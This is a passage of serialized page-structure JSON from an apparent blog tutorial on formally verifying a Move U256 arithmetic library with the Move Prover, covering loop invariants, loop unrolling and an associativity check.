",{"type":24,"tag":57,"props":18606,"children":18609},{"href":18607,"rel":18608},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[61],[18610],{"type":29,"value":18611},"previous post",{"type":29,"value":66},{"type":24,"tag":317,"props":18614,"children":18616},{"code":18615,"language":1552,"meta":7,"className":1553,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[18617],{"type":24,"tag":284,"props":18618,"children":18619},{"__ignoreMap":7},[18620,18632,18643,18679,18702,18785,18792,18816,18824,18844,18864,18955,18962,18990],{"type":24,"tag":327,"props":18621,"children":18622},{"class":329,"line":330},[18623,18628],{"type":24,"tag":327,"props":18624,"children":18625},{"style":425},[18626],{"type":29,"value":18627},"  while",{"type":24,"tag":327,"props":18629,"children":18630},{"style":346},[18631],{"type":29,"value":16093},{"type":24,"tag":327,"props":18633,"children":18634},{"class":329,"line":367},[18635,18639],{"type":24,"tag":327,"props":18636,"children":18637},{"style":356},[18638],{"type":29,"value":16485},{"type":24,"tag":327,"props":18640,"children":18641},{"style":346},[18642],{"type":29,"value":497},{"type":24,"tag":327,"props":18644,"children":18645},{"class":329,"line":408},[18646,18651,18655,18659,18663,18667,18671,18675],{"type":24,"tag":327,"props":18647,"children":18648},{"style":356},[18649],{"type":29,"value":18650},"          invariant",{"type":24,"tag":327,"props":18652,"children":18653},{"style":340},[18654],{"type":29,"value":16118},{"type":24,"tag":327,"props":18656,"children":18657},{"style":346},[18658],{"type":29,"value":349},{"type":24,"tag":327,"props":18660,"children":18661},{"style":356},[18662],{"type":29,"value":16127},{"type":24,"tag":327,"props":18664,"children":18665},{"style":346},[18666],{"type":29,"value":1674},{"type":24,"tag":327,"props":18668,"children":18669},{"style":381},[18670],{"type":29,"value":642},{"type":24,"tag":327,"props":18672,"children":18673},{"style":356},[18674],{"type":29,"value":10999},{"type":24,"tag":327,"props":18676,"children":18677},{"style":346},[18678],{"type":29,"value":405},{"type":24,"tag":327,"props":18680,"children":18681},{"class":329,"line":421},[18682,18686,18690,18694,18698],{"type":24,"tag":327,"props":18683,"children":18684},{"style":356},[18685],{"type":29,"value":18650},{"type":24,"tag":327,"props":18687,"children":18688},{"style":356},[18689],{"type":29,"value":10999},{"type":24,"tag":327,"props":18691,"children":18692},{"style":381},[18693],{"type":29,"value":2488},{"type":24,"tag":327,"props":18695,"children":18696},{"style":356},[18697],{"type":29,"value":16047},{"type":24,"tag":327,"props":18699,"children":18700},{"style":346},[18701],{"type":29,"value":405},{"type":24,"tag":327,"props":18703,"children":18704},{"class":329,"line":450},[18705,18709,18713,18717,18721,18725,18729,18733,18737,18741,18745,18749,18753,18757,18761,18765,18769,18773,18777,18781],{"type":24,"tag":327,"props":18706,"children":18707},{"style":356},[18708],{"type":29,"value":18650},{"type":24,"tag":327,"props":18710,"children":18711},{"style":356},[18712],{"type":29,"value":16178},{"type":24,"tag":327,"props":18714,"children":18715},{"style":356},[18716],{"type":29,"value":16183},{"type":24,"tag":327,"props":18718,"children":18719},{"style":334},[18720],{"type":29,"value":10653},{"type":24,"tag":327,"props":18722,"children":18723},{"style":397},[18724],{"type":29,"value":6695},{"type":24,"tag":327,"props":18726,"children":18727},{"style":381},[18728],{"type":29,"value":10662},{"type":24,"tag":327,"props":18730,"children":18731},{"style":356},[18732],{"type":29,"value":11334},{"type":24,"tag":327,"props":18734,"children":18735},{"style":381},[18736],{"type":29,"value":1636},{"type":24,"tag":327,"props":18738,"children":18739},{"style":356},[18740],{"type":29,"value":15982},{"type":24,"tag":327,"props":18742,"children":18743},{"style":346},[18744],{"type":29,"value":11329},{"type":24,"tag":327,"props":18746,"children":18747},{"style":356},[18748],{"type":29,"value":16216},{"type":24,"tag":327,"props":18750,"children":18751},{"style":346},[18752],{"type":29,"value":16221},{"type":24,"tag":327,"props":18754,"children":18755},{"style":381},[18756],{"type":29,"value":642},{"type":24,"tag":327,"props":18758,"children":18759},{"style":356},[18760],{"type":29,"value":16230},{"type":24,"tag":327,"props":18762,"children":18763},{"style":346},[18764],{"type":29,"value":11329},{"type":24,"tag":327,"props":18766,"children":18767},{"style":356},[18768],{"type":29,"value":16216},{"type":24,"tag":327,"props":18770,"children":18771},{"style":346},[18772],{"type":29,"value":16221},{"type":24,"tag":327,"props":18774,"children":18775},{"style":381},[18776],{"type":29,"value":469},{"type":24,"tag":327,"props":18778,"children":18779},{"style":356},[18780],{"type":29,"value":16047},{"type":24,"tag":327,"props":18782,"children":18783},{"style":346},[18784],{"type":29,"value":405},{"type":24,"tag":327,"props":18786,"children":18787},{"class":329,"line":481},[18788],{"type":24,"tag":327,"props":18789,"children":18790},{"style":346},[18791],{"type":29,"value":16477},{"type":24,"tag":327,"props":18793,"children":18794},{"class":329,"line":500},[18795,18800,18804,18808,18812],{"type":24,"tag":327,"props":18796,"children":18797},{"style":346},[18798],{"type":29,"value":18799},"      (",{"type":24,"tag":327,"props":18801,"children":18802},{"style":356},[18803],{"type":29,"value":11334},{"type":24,"tag":327,"props":18805,"children":18806},{"style":381},[18807],{"type":29,"value":4927},{"type":24,"tag":327,"props":18809,"children":18810},{"style":356},[18811],{"type":29,"value":16047},{"type":24,"tag":327,"props":18813,"children":18814},{"style":346},[18815],{"type":29,"value":852},{"type":24,"tag":327,"props":18817,"children":18818},{"class":329,"line":529},[18819],{"type":24,"tag":327,"props":18820,"children":18821},{"style":346},[18822],{"type":29,"value":18823},"  }) {\n",{"type":24,"tag":327,"props":18825,"children":18826},{"class":329,"line":538},[18827,18832,18836,18840],{"type":24,"tag":327,"props":18828,"children":18829},{"style":346},[18830],{"type":29,"value":18831},"      vector",{"type":24,"tag":327,"props":18833,"children":18834},{"style":381},[18835],{"type":29,"value":2407},{"type":24,"tag":327,"props":18837,"children":18838},{"style":340},[18839],{"type":29,"value":16311},{"type":24,"tag":327,"props":18841,"children":18842},{"style":346},[18843],{"type":29,"value":4663},{"type":24,"tag":327,"props":18845,"children":18846},{"class":329,"line":547},[18847,18852,18856,18860],{"type":24,"tag":327,"props":18848,"children":18849},{"style":381},[18850],{"type":29,"value":18851},"          &",{"type":24,"tag":327,"props":18853,"children":18854},{"style":334},[18855],{"type":29,"value":2099},{"type":24,"tag":327,"props":18857,"children":18858},{"style":356},[18859],{"type":29,"value":15982},{"type":24,"tag":327,"props":18861,"children":18862},{"style":346},[18863],{"type":29,"value":2231},{"type":24,"tag":327,"props":18865,"children":18866},{"class":329,"line":557},[18867,18871,18875,18879,18883,18887,18891,18895,18899,18903,18907,18911,18915,18919,18923,18927,18931,18935,18939,18943,18947,18951],{"type":24,"tag":327,"props":18868,"children":18869},{"style":346},[18870],{"type":29,"value":16270},{"type":24,"tag":327,"props":18872,"children":18873},{"style":381},[18874],{"type":29,"value":469},{"type":24,"tag":327,"props":18876,"children":18877},{"style":346},[18878],{"type":29,"value":16352},{"type":24,"tag":327,"props":18880,"children":18881},{"style":381},[18882],{"type":29,"value":2407},{"type":24,"tag":327,"props":18884,"children":18885},{"style":340},[18886],{"type":29,"value":16361},{"type":24,"tag":327,"props":18888,"children":18889},{"style":346},[18890],{"type":29,"value":349},{"type":24,"tag":327,"props":18892,"children":18893},{"style":381},[18894],{"type":29,"value":8716},{"type":24,"tag":327,"props":18896,"children":18897},{"style":356},[18898],{"type":29,"value":15927},{"type":24,"tag":327,"props":18900,"children":18901},{"style":346},[18902],{"type":29,"value":16378},{"type":24,"tag":327,"props":18904,"children":18905},{"style":356},[18906],{"type":29,"value":11334},{"type":24,"tag":327,"props":18908,"children":18909},{"style":334},[18910],{"type":29,"value":2417},{"type":24,"tag":327,"props":18912,"children":18913},{"style":1639},[18914],{"type":29,"value":1669},{"type":24,"tag":327,"props":18916,"children":18917},{"style":346},[18918],{"type":29,"value":16395},{"type":24,"tag":327,"props":18920,"children":18921},{"style":334},[18922],{"type":29,"value":2479},{"type":24,"tag":327,"props":18924,"children":18925},{"style":1639},[18926],{"type":29,"value":16404},{"type":24,"tag":327,"props":18928,"children":18929},{"style":346},[18930],{"type":29,"value":1674},{"type":24,"tag":327,"props":18932,"children":18933},{"style":381},[18934],{"type":29,"value":469},{"type":24,"tag":327,"props":18936,"children":18937},{"style":346},[18938],{"type":29,"value":5894},{"type":24,"tag":327,"props":18940,"children":18941},{"style":356},[18942],{"type":29,"value":16421},{"type":24,"tag":327,"props":18944,"children":18945},{"style":334},[18946],{"type":29,"value":2417},{"type":24,"tag":327,"props":18948,"children":18949},{"style":1639},[18950],{"type":29,"value":16404},{"type":24,"tag":327,"props":18952,"children":18953},{"style":346},[18954],{"type":29,"value":852},{"type":24,"tag":327,"props":18956,"children":18957},{"class":329,"line":586},[18958],{"type":24,"tag":327,"props":18959,"children":18960},{"style":346},[18961],{"type":29,"value":14331},{"type":24,"tag":327,"props":18963,"children":18964},{"class":329,"line":1017},[18965,18970,18974,18978,18982,18986],{"type":24,"tag":327,"props":18966,"children":18967},{"style":356},[18968],{"type":29,"value":18969},"      i",{"type":24,"tag":327,"props":18971,"children":18972},{"style":381},[18973],{"type":29,"value":4809},{"type":24,"tag":327,"props":18975,"children":18976},{"style":356},[18977],{"type":29,"value":10999},{"type":24,"tag":327,"props":18979,"children":18980},{"style":381},[18981],{"type":29,"value":4407},{"type":24,"tag":327,"props":18983,"children":18984},{"style":397},[18985],{"type":29,"value":522},{"type":24,"tag":327,"props":18987,"children":18988},{"style":346},[18989],{"type":29,"value":405},{"type":24,"tag":327,"props":18991,"children":18992},{"class":329,"line":1026},[18993],{"type":24,"tag":327,"props":18994,"children":18995},{"style":346},[18996],{"type":29,"value":18997},"  };\n",{"type":24,"tag":25,"props":18999,"children":19000},{},[19001,19003,19009,19011,19016,19018,19024],{"type":29,"value":19002},"In this case, the brackets specify the loop invariant for the ",{"type":24,"tag":284,"props":19004,"children":19006},{"className":19005},[],[19007],{"type":29,"value":19008},"while",{"type":29,"value":19010}," loop. Note that because the loop invariant executes ",{"type":24,"tag":42,"props":19012,"children":19013},{},[19014],{"type":29,"value":19015},"after",{"type":29,"value":19017}," the loop guard, so we need to account for an extra step with ",{"type":24,"tag":284,"props":19019,"children":19021},{"className":19020},[],[19022],{"type":29,"value":19023},"i \u003C= n_coins",{"type":29,"value":66},{"type":24,"tag":317,"props":19026,"children":19028},{"code":19027,"language":1552,"meta":7,"className":1553,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[19029],{"type":24,"tag":284,"props":19030,"children":19031},{"__ignoreMap":7},[19032,19043,19054,19089,19112,19195,19202,19225],{"type":24,"tag":327,"props":19033,"children":19034},{"class":329,"line":330},[19035,19039],{"type":24,"tag":327,"props":19036,"children":19037},{"style":425},[19038],{"type":29,"value":18627},{"type":24,"tag":327,"props":19040,"children":19041},{"style":346},[19042],{"type":29,"value":16093},{"type":24,"tag":327,"props":19044,"children":19045},{"class":329,"line":367},[19046,19050],{"type":24,"tag":327,"props":19047,"children":19048},{"style":356},[19049],{"type":29,"value":16485},{"type":24,"tag":327,"props":19051,"children":19052},{"style":346},[19053],{"type":29,"value":497},{"type":24,"tag":327,"props":19055,"children":19056},{"class":329,"line":408},[19057,19061,19065,19069,19073,19077,19081,19085],{"type":24,"tag":327,"props":19058,"children":19059},{"style":356},[19060],{"type":29,"value":18650},{"type":24,"tag":327,"props":19062,"children":19063},{"style":340},[19064],{"type":29,"value":16118},{"type":24,"tag":327,"props":19066,"children":19067},{"style":346},[19068],{"type":29,"value":349},{"type":24,"tag":327,"props":19070,"children":19071},{"style":356},[19072],{"type":29,"value":16127},{"type":24,"tag":327,"props":19074,"children":19075},{"style":346},[19076],{"type":29,"value":1674},{"type":24,"tag":327,"props":19078,"children":19079},{"style":381},[19080],{"type":29,"value":642},{"type":24,"tag":327,"props":19082,"children":19083},{"style":356},[19084],{"type":29,"value":10999},{"type":24,"tag":327,"props":19086,"children":19087},{"style":346},[19088],{"type":29,"value":405},{"type":24,"tag":327,"props":19090,"children":19091},{"class":329,"line":421},[19092,19096,19100,19104,19108],{"type":24,"tag":327,"props":19093,"children":19094},{"style":356},[19095],{"type":29,"value":18650},{"type":24,"tag":327,"props":19097,"children":19098},{"style":356},[19099],{"type":29,"value":10999},{"type":24,"tag":327,"props":19101,"children":19102},{"style":381},[19103],{"type":29,"value":2488},{"type":24,"tag":327,"props":19105,"children":19106},{"style":356},[19107],{"type":29,"value":16047},{"type":24,"tag":327,"props":19109,"children":19110},{"style":346},[19111],{"type":29,"value":405},{"type":24,"tag":327,"props":19113,"children":19114},{"class":329,"line":450},[19115,19119,19123,19127,19131,19135,19139,19143,19147,19151,19155,19159,19163,19167,19171,19175,19179,19183,19187,19191],{"type":24,"tag":327,"props":19116,"children":19117},{"style":356},[19118],{"type":29,"value":18650},{"type":24,"tag":327,"props":19120,"children":19121},{"style":356},[19122],{"type":29,"value":16178},{"type":24,"tag":327,"props":19124,"children":19125},{"style":356},[19126],{"type":29,"value":16183},{"type":24,"tag":327,"props":19128,"children":19129},{"style":334},[19130],{"type":29,"value":10653},{"type":24,"tag":327,"props":19132,"children":19133},{"style":397},[19134],{"type":29,"value":6695},{"type":24,"tag":327,"props":19136,"children":19137},{"style":381},[19138],{"type":29,"value":10662},{"type":24,"tag":327,"props":19140,"children":19141},{"style":356},[19142],{"type":29,"value":11334},{"type":24,"tag":327,"props":19144,"children":19145},{"style":381},[19146],{"type":29,"value":1636},{"type":24,"tag":327,"props":19148,"children":19149},{"style":356},[19150],{"type":29,"value":15982},{"type":24,"tag":327,"props":19152,"children":19153},{"style":346},[19154],{"type":29,"value":11329},{"type":24,"tag":327,"props":19156,"children":19157},{"style":356},[19158],{"type":29,"value":16216},{"type":24,"tag":327,"props":19160,"children":19161},{"style":346},[19162],{"type":29,"value":16221},{"type":24,"tag":327,"props":19164,"children":19165},{"style":381},[19166],{"type":29,"value":642},{"type":24,"tag":327,"props":19168,"children":19169},{"style":356},[19170],{"type":29,"value":16230},{"type":24,"tag":327,"props":19172,"children":19173},{"style":346},[19174],{"type":29,"value":11329},{"type":24,"tag":327,"props":19176,"children":19177},{"style":356},[19178],{"type":29,"value":16216},{"type":24,"tag":327,"props":19180,"children":19181},{"style":346},[19182],{"type":29,"value":16221},{"type":24,"tag":327,"props":19184,"children":19185},{"style":381},[19186],{"type":29,"value":469},{"type":24,"tag":327,"props":19188,"children":19189},{"style":356},[19190],{"type":29,"value":16047},{"type":24,"tag":327,"props":19192,"children":19193},{"style":346},[19194],{"type":29,"value":405},{"type":24,"tag":327,"props":19196,"children":19197},{"class":329,"line":481},[19198],{"type":24,"tag":327,"props":19199,"children":19200},{"style":346},[19201],{"type":29,"value":16477},{"type":24,"tag":327,"props":19203,"children":19204},{"class":329,"line":500},[19205,19209,19213,19217,19221],{"type":24,"tag":327,"props":19206,"children":19207},{"style":346},[19208],{"type":29,"value":18799},{"type":24,"tag":327,"props":19210,"children":19211},{"style":356},[19212],{"type":29,"value":11334},{"type":24,"tag":327,"props":19214,"children":19215},{"style":381},[19216],{"type":29,"value":4927},{"type":24,"tag":327,"props":19218,"children":19219},{"style":356},[19220],{"type":29,"value":16047},{"type":24,"tag":327,"props":19222,"children":19223},{"style":346},[19224],{"type":29,"value":852},{"type":24,"tag":327,"props":19226,"children":19227},{"class":329,"line":529},[19228],{"type":24,"tag":327,"props":19229,"children":19230},{"style":346},[19231],{"type":29,"value":18823},{"type":24,"tag":25,"props":19233,"children":19234},{},[19235],{"type":29,"value":19236},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":24,"tag":25,"props":19238,"children":19239},{},[19240,19242,19247],{"type":29,"value":19241},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":24,"tag":284,"props":19243,"children":19245},{"className":19244},[],[19246],{"type":29,"value":280},{"type":29,"value":19248}," function will always iterate exactly 4 times:",{"type":24,"tag":317,"props":19250,"children":19252},{"code":19251,"language":1552,"meta":7,"className":1553,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[19253],{"type":24,"tag":284,"props":19254,"children":19255},{"__ignoreMap":7},[19256,19264,19297,19304,19320,19327,19351,19375,19420,19464,19471],{"type":24,"tag":327,"props":19257,"children":19258},{"class":329,"line":330},[19259],{"type":24,"tag":327,"props":19260,"children":19261},{"style":551},[19262],{"type":29,"value":19263},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":24,"tag":327,"props":19265,"children":19266},{"class":329,"line":367},[19267,19271,19276,19280,19284,19288,19293],{"type":24,"tag":327,"props":19268,"children":19269},{"style":334},[19270],{"type":29,"value":17202},{"type":24,"tag":327,"props":19272,"children":19273},{"style":346},[19274],{"type":29,"value":19275}," WORDS",{"type":24,"tag":327,"props":19277,"children":19278},{"style":381},[19279],{"type":29,"value":1636},{"type":24,"tag":327,"props":19281,"children":19282},{"style":1639},[19283],{"type":29,"value":1669},{"type":24,"tag":327,"props":19285,"children":19286},{"style":381},[19287],{"type":29,"value":4809},{"type":24,"tag":327,"props":19289,"children":19290},{"style":397},[19291],{"type":29,"value":19292}," 4",{"type":24,"tag":327,"props":19294,"children":19295},{"style":346},[19296],{"type":29,"value":405},{"type":24,"tag":327,"props":19298,"children":19299},{"class":329,"line":408},[19300],{"type":24,"tag":327,"props":19301,"children":19302},{"emptyLinePlaceholder":16},[19303],{"type":29,"value":544},{"type":24,"tag":327,"props":19305,"children":19306},{"class":329,"line":421},[19307,19311,19315],{"type":24,"tag":327,"props":19308,"children":19309},{"style":346},[19310],{"type":29,"value":11329},{"type":24,"tag":327,"props":19312,"children":19313},{"style":381},[19314],{"type":29,"value":1922},{"type":24,"tag":327,"props":19316,"children":19317},{"style":346},[19318],{"type":29,"value":19319},"]\n",{"type":24,"tag":327,"props":19321,"children":19322},{"class":329,"line":450},[19323],{"type":24,"tag":327,"props":19324,"children":19325},{"emptyLinePlaceholder":16},[19326],{"type":29,"value":544},{"type":24,"tag":327,"props":19328,"children":19329},{"class":329,"line":481},[19330,19335,19339,19343,19347],{"type":24,"tag":327,"props":19331,"children":19332},{"style":334},[19333],{"type":29,"value":19334},"let",{"type":24,"tag":327,"props":19336,"children":19337},{"style":356},[19338],{"type":29,"value":10999},{"type":24,"tag":327,"props":19340,"children":19341},{"style":381},[19342],{"type":29,"value":4809},{"type":24,"tag":327,"props":19344,"children":19345},{"style":397},[19346],{"type":29,"value":6695},{"type":24,"tag":327,"props":19348,"children":19349},{"style":346},[19350],{"type":29,"value":405},{"type":24,"tag":327,"props":19352,"children":19353},{"class":329,"line":500},[19354,19358,19362,19366,19370],{"type":24,"tag":327,"props":19355,"children":19356},{"style":425},[19357],{"type":29,"value":19008},{"type":24,"tag":327,"props":19359,"children":19360},{"style":346},[19361],{"type":29,"value":5894},{"type":24,"tag":327,"props":19363,"children":19364},{"style":356},[19365],{"type":29,"value":11334},{"type":24,"tag":327,"props":19367,"children":19368},{"style":381},[19369],{"type":29,"value":4927},{"type":24,"tag":327,"props":19371,"children":19372},{"style":346},[19373],{"type":29,"value":19374}," WORDS) {\n",{"type":24,"tag":327,"props":19376,"children":19377},{"class":329,"line":529},[19378,19382,19387,19391,19396,19400,19404,19408,19412,19416],{"type":24,"tag":327,"props":19379,"children":19380},{"style":334},[19381],{"type":29,"value":4794},{"type":24,"tag":327,"props":19383,"children":19384},{"style":356},[19385],{"type":29,"value":19386}," a1",{"type":24,"tag":327,"props":19388,"children":19389},{"style":381},[19390],{"type":29,"value":4809},{"type":24,"tag":327,"props":19392,"children":19393},{"style":340},[19394],{"type":29,"value":19395}," get",{"type":24,"tag":327,"props":19397,"children":19398},{"style":346},[19399],{"type":29,"value":349},{"type":24,"tag":327,"props":19401,"children":19402},{"style":381},[19403],{"type":29,"value":8716},{"type":24,"tag":327,"props":19405,"children":19406},{"style":356},[19407],{"type":29,"value":57},{"type":24,"tag":327,"props":19409,"children":19410},{"style":346},[19411],{"type":29,"value":2744},{"type":24,"tag":327,"props":19413,"children":19414},{"style":356},[19415],{"type":29,"value":11334},{"type":24,"tag":327,"props":19417,"children":19418},{"style":346},[19419],{"type":29,"value":583},{"type":24,"tag":327,"props":19421,"children":19422},{"class":329,"line":538},[19423,19427,19432,19436,19440,19444,19448,19452,19456,19460],{"type":24,"tag":327,"props":19424,"children":19425},{"style":334},[19426],{"type":29,"value":4794},{"type":24,"tag":327,"props":19428,"children":19429},{"style":356},[19430],{"type":29,"value":19431}," b1",{"type":24,"tag":327,"props":19433,"children":19434},{"style":381},[19435],{"type":29,"value":4809},{"type":24,"tag":327,"props":19437,"children":19438},{"style":340},[19439],{"type":29,"value":19395},{"type":24,"tag":327,"props":19441,"children":19442},{"style":346},[19443],{"type":29,"value":349},{"type":24,"tag":327,"props":19445,"children":19446},{"style":381},[19447],{"type":29,"value":8716},{"type":24,"tag":327,"props":19449,"children":19450},{"style":356},[19451],{"type":29,"value":10828},{"type":24,"tag":327,"props":19453,"children":19454},{"style":346},[19455],{"type":29,"value":2744},{"type":24,"tag":327,"props":19457,"children":19458},{"style":356},[19459],{"type":29,"value":11334},{"type":24,"tag":327,"props":19461,"children":19462},{"style":346},[19463],{"type":29,"value":583},{"type":24,"tag":327,"props":19465,"children":19466},{"class":329,"line":547},[19467],{"type":24,"tag":327,"props":19468,"children":19469},{"emptyLinePlaceholder":16},[19470],{"type":29,"value":544},{"type":24,"tag":327,"props":19472,"children":19473},{"class":329,"line":557},[19474,19478,19482],{"type":24,"tag":327,"props":19475,"children":19476},{"style":346},[19477],{"type":29,"value":11329},{"type":24,"tag":327,"props":19479,"children":19480},{"style":381},[19481],{"type":29,"value":1922},{"type":24,"tag":327,"props":19483,"children":19484},{"style":346},[19485],{"type":29,"value":19319},{"type":24,"tag":25,"props":19487,"children":19488},{},[19489],{"type":29,"value":19490},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":24,"tag":317,"props":19492,"children":19494},{"code":19493},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[19495],{"type":24,"tag":284,"props":19496,"children":19497},{"__ignoreMap":7},[19498],{"type":29,"value":19493},{"type":24,"tag":25,"props":19500,"children":19501},{},[19502,19504,19509,19510,19516],{"type":29,"value":19503},"For the ",{"type":24,"tag":188,"props":19505,"children":19506},{},[19507],{"type":29,"value":19508},"Associative Property",{"type":29,"value":5894},{"type":24,"tag":284,"props":19511,"children":19513},{"className":19512},[],[19514],{"type":29,"value":19515},"a+(b+c) = (a+b)+c",{"type":29,"value":19517},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":24,"tag":317,"props":19519,"children":19521},{"code":19520,"language":1552,"meta":7,"className":1553,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[19522],{"type":24,"tag":284,"props":19523,"children":19524},{"__ignoreMap":7},[19525,19601,19640,19681,19720,19761,19768,19818,19857],{"type":24,"tag":327,"props":19526,"children":19527},{"class":329,"line":330},[19528,19532,19537,19541,19545,19549,19553,19557,19561,19565,19569,19573,19577,19581,19585,19589,19593,19597],{"type":24,"tag":327,"props":19529,"children":19530},{"style":356},[19531],{"type":29,"value":14671},{"type":24,"tag":327,"props":19533,"children":19534},{"style":340},[19535],{"type":29,"value":19536}," add_assoc_property",{"type":24,"tag":327,"props":19538,"children":19539},{"style":346},[19540],{"type":29,"value":349},{"type":24,"tag":327,"props":19542,"children":19543},{"style":356},[19544],{"type":29,"value":57},{"type":24,"tag":327,"props":19546,"children":19547},{"style":381},[19548],{"type":29,"value":1636},{"type":24,"tag":327,"props":19550,"children":19551},{"style":1639},[19552],{"type":29,"value":12298},{"type":24,"tag":327,"props":19554,"children":19555},{"style":346},[19556],{"type":29,"value":2744},{"type":24,"tag":327,"props":19558,"children":19559},{"style":356},[19560],{"type":29,"value":10828},{"type":24,"tag":327,"props":19562,"children":19563},{"style":381},[19564],{"type":29,"value":1636},{"type":24,"tag":327,"props":19566,"children":19567},{"style":1639},[19568],{"type":29,"value":12298},{"type":24,"tag":327,"props":19570,"children":19571},{"style":346},[19572],{"type":29,"value":2744},{"type":24,"tag":327,"props":19574,"children":19575},{"style":356},[19576],{"type":29,"value":320},{"type":24,"tag":327,"props":19578,"children":19579},{"style":381},[19580],{"type":29,"value":1636},{"type":24,"tag":327,"props":19582,"children":19583},{"style":1639},[19584],{"type":29,"value":12298},{"type":24,"tag":327,"props":19586,"children":19587},{"style":346},[19588],{"type":29,"value":3146},{"type":24,"tag":327,"props":19590,"children":19591},{"style":381},[19592],{"type":29,"value":1636},{"type":24,"tag":327,"props":19594,"children":19595},{"style":1639},[19596],{"type":29,"value":1935},{"type":24,"tag":327,"props":19598,"children":19599},{"style":346},[19600],{"type":29,"value":497},{"type":24,"tag":327,"props":19602,"children":19603},{"class":329,"line":367},[19604,19608,19612,19616,19620,19624,19628,19632,19636],{"type":24,"tag":327,"props":19605,"children":19606},{"style":334},[19607],{"type":29,"value":4794},{"type":24,"tag":327,"props":19609,"children":19610},{"style":356},[19611],{"type":29,"value":15753},{"type":24,"tag":327,"props":19613,"children":19614},{"style":381},[19615],{"type":29,"value":4809},{"type":24,"tag":327,"props":19617,"children":19618},{"style":340},[19619],{"type":29,"value":17132},{"type":24,"tag":327,"props":19621,"children":19622},{"style":346},[19623],{"type":29,"value":349},{"type":24,"tag":327,"props":19625,"children":19626},{"style":356},[19627],{"type":29,"value":10828},{"type":24,"tag":327,"props":19629,"children":19630},{"style":346},[19631],{"type":29,"value":2744},{"type":24,"tag":327,"props":19633,"children":19634},{"style":356},[19635],{"type":29,"value":320},{"type":24,"tag":327,"props":19637,"children":19638},{"style":346},[19639],{"type":29,"value":583},{"type":24,"tag":327,"props":19641,"children":19642},{"class":329,"line":408},[19643,19647,19652,19656,19660,19664,19668,19672,19677],{"type":24,"tag":327,"props":19644,"children":19645},{"style":334},[19646],{"type":29,"value":4794},{"type":24,"tag":327,"props":19648,"children":19649},{"style":356},[19650],{"type":29,"value":19651}," result_11",{"type":24,"tag":327,"props":19653,"children":19654},{"style":381},[19655],{"type":29,"value":4809},{"type":24,"tag":327,"props":19657,"children":19658},{"style":340},[19659],{"type":29,"value":17132},{"type":24,"tag":327,"props":19661,"children":19662},{"style":346},[19663],{"type":29,"value":349},{"type":24,"tag":327,"props":19665,"children":19666},{"style":356},[19667],{"type":29,"value":57},{"type":24,"tag":327,"props":19669,"children":19670},{"style":346},[19671],{"type":29,"value":2744},{"type":24,"tag":327,"props":19673,"children":19674},{"style":356},[19675],{"type":29,"value":19676},"result_1",{"type":24,"tag":327,"props":19678,"children":19679},{"style":346},[19680],{"type":29,"value":583},{"type":24,"tag":327,"props":19682,"children":19683},{"class":329,"line":421},[19684,19688,19692,19696,19700,19704,19708,19712,19716],{"type":24,"tag":327,"props":19685,"children":19686},{"style":334},[19687],{"type":29,"value":4794},{"type":24,"tag":327,"props":19689,"children":19690},{"style":356},[19691],{"type":29,"value":15778},{"type":24,"tag":327,"props":19693,"children":19694},{"style":381},[19695],{"type":29,"value":4809},{"type":24,"tag":327,"props":19697,"children":19698},{"style":340},[19699],{"type":29,"value":17132},{"type":24,"tag":327,"props":19701,"children":19702},{"style":346},[19703],{"type":29,"value":349},{"type":24,"tag":327,"props":19705,"children":19706},{"style":356},[19707],{"type":29,"value":57},{"type":24,"tag":327,"props":19709,"children":19710},{"style":346},[19711],{"type":29,"value":2744},{"type":24,"tag":327,"props":19713,"children":19714},{"style":356},[19715],{"type":29,"value":10828},{"type":24,"tag":327,"props":19717,"children":19718},{"style":346},[19719],{"type":29,"value":583},{"type":24,"tag":327,"props":19721,"children":19722},{"class":329,"line":450},[19723,19727,19732,19736,19740,19744,19748,19752,19757],{"type":24,"tag":327,"props":19724,"children":19725},{"style":334},[19726],{"type":29,"value":4794},{"type":24,"tag":327,"props":19728,"children":19729},{"style":356},[19730],{"type":29,"value":19731}," result_22",{"type":24,"tag":327,"props":19733,"children":19734},{"style":381},[19735],{"type":29,"value":4809},{"type":24,"tag":327,"props":19737,"children":19738},{"style":340},[19739],{"type":29,"value":17132},{"type":24,"tag":327,"props":19741,"children":19742},{"style":346},[19743],{"type":29,"value":349},{"type":24,"tag":327,"props":19745,"children":19746},{"style":356},[19747],{"type":29,"value":320},{"type":24,"tag":327,"props":19749,"children":19750},{"style":346},[19751],{"type":29,"value":2744},{"type":24,"tag":327,"props":19753,"children":19754},{"style":356},[19755],{"type":29,"value":19756},"result_2",{"type":24,"tag":327,"props":19758,"children":19759},{"style":346},[19760],{"type":29,"value":583},{"type":24,"tag":327,"props":19762,"children":19763},{"class":329,"line":481},[19764],{"type":24,"tag":327,"props":19765,"children":19766},{"emptyLinePlaceholder":16},[19767],{"type":29,"value":544},{"type":24,"tag":327,"props":19769,"children":19770},{"class":329,"line":500},[19771,19775,19779,19783,19788,19792,19796,19801,19805,19809,19814],{"type":24,"tag":327,"props":19772,"children":19773},{"style":334},[19774],{"type":29,"value":4794},{"type":24,